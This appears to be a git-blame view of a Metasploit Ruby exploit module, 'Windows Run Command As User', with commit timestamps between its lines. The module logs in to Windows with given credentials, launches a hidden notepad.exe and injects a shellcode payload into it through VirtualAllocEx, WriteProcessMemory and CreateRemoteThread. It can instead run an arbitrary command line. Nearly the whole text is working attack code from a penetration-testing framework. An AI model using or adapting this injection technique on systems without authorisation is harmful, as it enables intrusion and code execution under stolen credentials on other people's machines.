2015-01-27 10:47:02 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
|
|
include Msf::Post::Windows::Runas
|
2015-01-27 17:23:57 +00:00
|
|
|
include Msf::Post::Windows::Priv
|
2015-01-27 10:47:02 +00:00
|
|
|
|
2015-01-27 16:34:06 +00:00
|
|
|
def initialize(info = {})
|
2015-01-27 10:47:02 +00:00
|
|
|
super(update_info(info,
|
2015-01-27 16:14:59 +00:00
|
|
|
'Name' => "Windows Run Command As User",
|
2015-01-27 10:47:02 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module will login with the specified username/password and execute the
|
2015-01-27 16:14:59 +00:00
|
|
|
supplied command as a hidden process. Output is not returned by default.
|
|
|
|
Unless targetting a local user either set the DOMAIN, or specify a UPN user
|
|
|
|
format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.
|
|
|
|
|
|
|
|
A custom command line can be sent instead of uploading an executable.
|
|
|
|
APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
|
|
|
|
respectively. See the MSDN documentation for how these two values interact.
|
2015-01-27 10:47:02 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => ['win'],
|
|
|
|
'SessionTypes' => ['meterpreter'],
|
2015-01-27 16:14:59 +00:00
|
|
|
'Author' => ['Kx499', 'Ben Campbell'],
|
|
|
|
'Targets' => [
|
|
|
|
[ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
|
2015-03-18 23:51:18 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy
|
2015-01-27 10:47:02 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2015-01-27 16:14:59 +00:00
|
|
|
OptString.new('DOMAIN', [false, 'Domain to login with' ]),
|
2015-01-27 10:47:02 +00:00
|
|
|
OptString.new('USER', [true, 'Username to login with' ]),
|
|
|
|
OptString.new('PASSWORD', [true, 'Password to login with' ]),
|
2015-01-27 16:14:59 +00:00
|
|
|
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
|
|
|
|
OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
|
|
|
|
OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
|
2015-01-27 10:47:02 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2015-01-27 16:14:59 +00:00
|
|
|
fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
|
2015-01-27 17:23:57 +00:00
|
|
|
fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system?
|
2015-01-27 16:14:59 +00:00
|
|
|
domain = datastore['DOMAIN']
|
|
|
|
user = datastore['USER']
|
|
|
|
password = datastore['PASSWORD']
|
2015-01-27 10:47:02 +00:00
|
|
|
|
2015-01-27 16:14:59 +00:00
|
|
|
if datastore['USE_CUSTOM_COMMAND']
|
|
|
|
application_name = datastore['APPLICATION_NAME']
|
|
|
|
command_line = datastore['COMMAND_LINE']
|
2015-01-27 10:47:02 +00:00
|
|
|
else
|
2015-01-27 16:14:59 +00:00
|
|
|
command_line = nil
|
|
|
|
windir = get_env('windir')
|
|
|
|
|
|
|
|
# Select path of executable to run depending the architecture
|
2015-01-27 16:34:06 +00:00
|
|
|
case sysinfo['Architecture']
|
|
|
|
when /x86/i
|
2015-01-27 16:14:59 +00:00
|
|
|
application_name = "#{windir}\\System32\\notepad.exe"
|
2015-01-27 16:34:06 +00:00
|
|
|
when /x64/i
|
2015-01-27 16:14:59 +00:00
|
|
|
application_name = "#{windir}\\SysWOW64\\notepad.exe"
|
|
|
|
end
|
2015-01-27 10:47:02 +00:00
|
|
|
end
|
|
|
|
|
2015-01-27 16:14:59 +00:00
|
|
|
pi = create_process_with_logon(domain,
|
2015-01-27 16:34:06 +00:00
|
|
|
user,
|
|
|
|
password,
|
|
|
|
application_name,
|
|
|
|
command_line)
|
2015-01-27 16:14:59 +00:00
|
|
|
|
|
|
|
return unless pi
|
|
|
|
|
|
|
|
begin
|
|
|
|
return if datastore['USE_CUSTOM_COMMAND']
|
|
|
|
|
|
|
|
vprint_status('Injecting payload into target process')
|
|
|
|
raw = payload.encoded
|
2015-01-27 17:23:57 +00:00
|
|
|
|
2015-01-27 16:14:59 +00:00
|
|
|
process_handle = pi[:process_handle]
|
|
|
|
|
2015-01-27 16:34:06 +00:00
|
|
|
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
|
|
|
|
nil,
|
|
|
|
raw.length,
|
|
|
|
'MEM_COMMIT|MEM_RESERVE',
|
|
|
|
'PAGE_EXECUTE_READWRITE')
|
2015-01-27 16:14:59 +00:00
|
|
|
|
|
|
|
address = virtual_alloc['return']
|
2015-04-16 19:44:56 +00:00
|
|
|
fail_with(Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
|
2015-01-27 16:14:59 +00:00
|
|
|
|
|
|
|
write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
|
2015-01-27 17:23:57 +00:00
|
|
|
address,
|
|
|
|
raw,
|
|
|
|
raw.length,
|
|
|
|
4)
|
2015-01-27 16:14:59 +00:00
|
|
|
|
2015-04-16 19:44:56 +00:00
|
|
|
fail_with(Failure::Unknown,
|
2015-01-27 16:14:59 +00:00
|
|
|
"Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
|
|
|
|
|
|
|
|
create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
|
2015-01-27 17:23:57 +00:00
|
|
|
nil,
|
|
|
|
0,
|
|
|
|
address,
|
|
|
|
nil,
|
|
|
|
0,
|
|
|
|
4)
|
2015-01-27 16:14:59 +00:00
|
|
|
if create_remote_thread['return'] == 0
|
|
|
|
print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
|
|
|
|
else
|
|
|
|
print_good("Started thread in target process")
|
2015-01-27 10:47:02 +00:00
|
|
|
end
|
2015-01-27 16:14:59 +00:00
|
|
|
ensure
|
|
|
|
session.railgun.kernel32.CloseHandle(pi[:process_handle])
|
|
|
|
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
|
2015-01-27 10:47:02 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|